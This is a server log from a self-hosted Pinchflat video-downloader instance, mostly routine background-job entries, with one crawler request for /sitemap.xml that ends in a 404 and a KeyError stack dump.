21:13:08.750 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:38.753 [info] {"source":"oban","duration":2189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:00.891 [info] {"source":"oban","duration":370,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:14:08.755 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:38.757 [info] {"source":"oban","duration":1171,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:00.892 [info] {"source":"oban","duration":597,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:15:08.759 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:38.761 [info] {"source":"oban","duration":1674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:00.893 [info] {"source":"oban","duration":522,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:16:08.763 [info] {"source":"oban","duration":1587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:38.766 [info] {"source":"oban","duration":1885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:00.894 [info] {"source":"oban","duration":342,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:17:08.769 [info] {"source":"oban","duration":2814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:38.780 [info] {"source":"oban","duration":9543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:00.895 [info] {"source":"oban","duration":667,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:18:08.783 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:38.785 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:00.896 [info] {"source":"oban","duration":314,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:19:08.789 [info] {"source":"oban","duration":2723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:38.791 [info] {"source":"oban","duration":1846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:00.897 [info] {"source":"oban","duration":603,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:20:08.794 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:38.797 [info] {"source":"oban","duration":1819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:00.898 [info] {"source":"oban","duration":387,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:21:08.799 [info] {"source":"oban","duration":1236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:38.801 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:00.899 [info] {"source":"oban","duration":707,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:22:08.803 [info] {"source":"oban","duration":1804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:38.807 [info] {"source":"oban","duration":1768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:00.901 [info] {"source":"oban","duration":583,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:23:08.809 [info] {"source":"oban","duration":957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:38.812 [info] {"source":"oban","duration":1823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:00.902 [info] {"source":"oban","duration":373,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:24:08.815 [info] {"source":"oban","duration":2141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:38.817 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:00.903 [info] {"source":"oban","duration":669,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:25:08.819 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:38.821 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:00.905 [info] {"source":"oban","duration":505,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:26:08.824 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:38.826 [info] {"source":"oban","duration":1249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:00.906 [info] {"source":"oban","duration":741,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:27:08.828 [info] {"source":"oban","duration":1659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:38.831 [info] {"source":"oban","duration":2315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:00.909 [info] {"source":"oban","duration":1449,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:28:08.835 [info] {"source":"oban","duration":3248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:38.838 [info] {"source":"oban","duration":2506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:00.911 [info] {"source":"oban","duration":991,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:29:08.842 [info] {"source":"oban","duration":3423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:38.845 [info] {"source":"oban","duration":1963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:00.912 [info] {"source":"oban","duration":596,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:30:08.847 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:38.851 [info] {"source":"oban","duration":3274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:00.913 [info] {"source":"oban","duration":542,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:31:08.854 [info] {"source":"oban","duration":1984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:38.856 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:00.914 [info] {"source":"oban","duration":768,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:32:08.858 [info] {"source":"oban","duration":1628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:38.860 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:00.916 [info] {"source":"oban","duration":376,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:33:08.862 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:38.864 [info] {"source":"oban","duration":1685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:00.917 [info] {"source":"oban","duration":361,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:34:08.868 [info] {"source":"oban","duration":1931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:38.871 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:00.918 [info] {"source":"oban","duration":485,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:35:08.873 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:38.876 [info] {"source":"oban","duration":2060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:00.919 [info] {"source":"oban","duration":484,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:36:08.879 [info] {"source":"oban","duration":1773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:38.882 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:00.920 [info] {"source":"oban","duration":731,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:37:08.884 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:38.886 [info] {"source":"oban","duration":1820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:00.923 [info] {"source":"oban","duration":855,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:38:08.889 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:17.613 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 21:38:38.891 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:00.925 [info] {"source":"oban","duration":567,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:39:08.894 [info] {"source":"oban","duration":1926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:38.900 [info] {"source":"oban","duration":5874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:00.926 [info] {"source":"oban","duration":360,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:40:08.904 [info] {"source":"oban","duration":1951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:38.908 [info] {"source":"oban","duration":3461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:00.927 [info] {"source":"oban","duration":589,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:41:08.913 [info] {"source":"oban","duration":3764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:38.916 [info] {"source":"oban","duration":1745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:00.928 [info] {"source":"oban","duration":611,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:42:08.919 [info] {"source":"oban","duration":2436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:38.925 [info] {"source":"oban","duration":4674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:00.929 [info] {"source":"oban","duration":738,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:43:08.929 [info] {"source":"oban","duration":2961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:38.931 [info] {"source":"oban","duration":1174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:00.931 [info] {"source":"oban","duration":386,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:44:08.934 [info] {"source":"oban","duration":2078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:38.936 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:00.932 [info] {"source":"oban","duration":403,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:45:08.939 [info] {"source":"oban","duration":1919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:38.942 [info] {"source":"oban","duration":1873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:00.933 [info] {"source":"oban","duration":561,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:46:08.944 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:38.946 [info] {"source":"oban","duration":1610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:00.934 [info] {"source":"oban","duration":349,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:47:08.948 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:38.950 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:00.936 [info] {"source":"oban","duration":956,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:48:08.952 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:38.954 [info] {"source":"oban","duration":1831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:00.937 [info] {"source":"oban","duration":639,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:49:08.957 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:17.670 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 21:49:38.959 [info] {"source":"oban","duration":1907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:00.939 [info] {"source":"oban","duration":838,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:50:08.962 [info] {"source":"oban","duration":1723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:38.965 [info] {"source":"oban","duration":2162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:00.940 [info] {"source":"oban","duration":414,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:51:08.968 [info] {"source":"oban","duration":2358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:38.970 [info] {"source":"oban","duration":1873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:00.941 [info] {"source":"oban","duration":753,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:52:08.974 [info] {"source":"oban","duration":2041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:38.976 [info] {"source":"oban","duration":1075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:00.943 [info] {"source":"oban","duration":729,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:53:08.978 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:38.980 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:00.946 [info] {"source":"oban","duration":526,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:54:08.982 [info] {"source":"oban","duration":1646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:38.988 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:00.947 [info] {"source":"oban","duration":460,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:55:08.991 [info] {"source":"oban","duration":1850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:38.993 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:00.948 [info] {"source":"oban","duration":385,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:56:08.995 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:38.998 [info] {"source":"oban","duration":2086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:00.949 [info] {"source":"oban","duration":756,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:57:09.000 [info] {"source":"oban","duration":1642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:39.002 [info] {"source":"oban","duration":1808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:00.951 [info] {"source":"oban","duration":400,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:58:09.005 [info] {"source":"oban","duration":1687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:39.007 [info] {"source":"oban","duration":1124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:00.952 [info] {"source":"oban","duration":424,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:59:09.010 [info] {"source":"oban","duration":2096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:39.012 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:00.953 [info] {"source":"oban","duration":420,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:00:09.015 [info] {"source":"oban","duration":2363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:39.018 [info] {"source":"oban","duration":1963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:00.954 [info] {"source":"oban","duration":457,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:01:09.020 [info] {"source":"oban","duration":1786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:39.025 [info] {"source":"oban","duration":3011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:00.956 [info] {"source":"oban","duration":1071,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:02:09.028 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:39.032 [info] {"source":"oban","duration":3378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:51.714 [info] GET /sitemap.xml 22:02:52.596 [debug] QUERY OK source="settings" db=1.4ms queue=0.2ms idle=2417.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:02:52.597 [debug] QUERY OK source="settings" db=0.7ms queue=0.2ms idle=1673.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:02:52.597 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:02:52.598 [error] #PID<0.1273034.0> running PinchflatWeb.Endpoint (connection #PID<0.1273030.0>, stream id 2) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sitemap.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1273030.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 44824}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1273034.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKfaowS8D0uC1mgADdsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1273030.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 44824}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1273030.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 44824}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1273034.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKfaowS8D0uC1mgADdsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, (truncated) 22:03:00.957 [info] {"source":"oban","duration":789,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:03:09.035 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:39.039 [info] {"source":"oban","duration":3132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:00.959 [info] {"source":"oban","duration":707,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:04:09.041 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:39.045 [info] {"source":"oban","duration":2102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:00.961 [info] {"source":"oban","duration":412,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:05:09.048 [info] {"source":"oban","duration":1933,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:39.050 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:00.962 [info] {"source":"oban","duration":761,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:06:09.053 [info] {"source":"oban","duration":2147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:39.056 [info] {"source":"oban","duration":2500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:00.964 [info] {"source":"oban","duration":584,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:07:09.067 [info] {"source":"oban","duration":7111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:39.070 [info] {"source":"oban","duration":2669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:00.965 [info] {"source":"oban","duration":357,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:08:09.073 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:39.075 [info] {"source":"oban","duration":1110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:00.966 [info] {"source":"oban","duration":404,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:09:09.079 [info] {"source":"oban","duration":2997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:39.082 [info] {"source":"oban","duration":2128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:00.968 [info] {"source":"oban","duration":1307,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:10:09.085 [info] {"source":"oban","duration":2184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:39.088 [info] {"source":"oban","duration":1966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:00.969 [info] {"source":"oban","duration":717,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:11:09.091 [info] {"source":"oban","duration":1794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 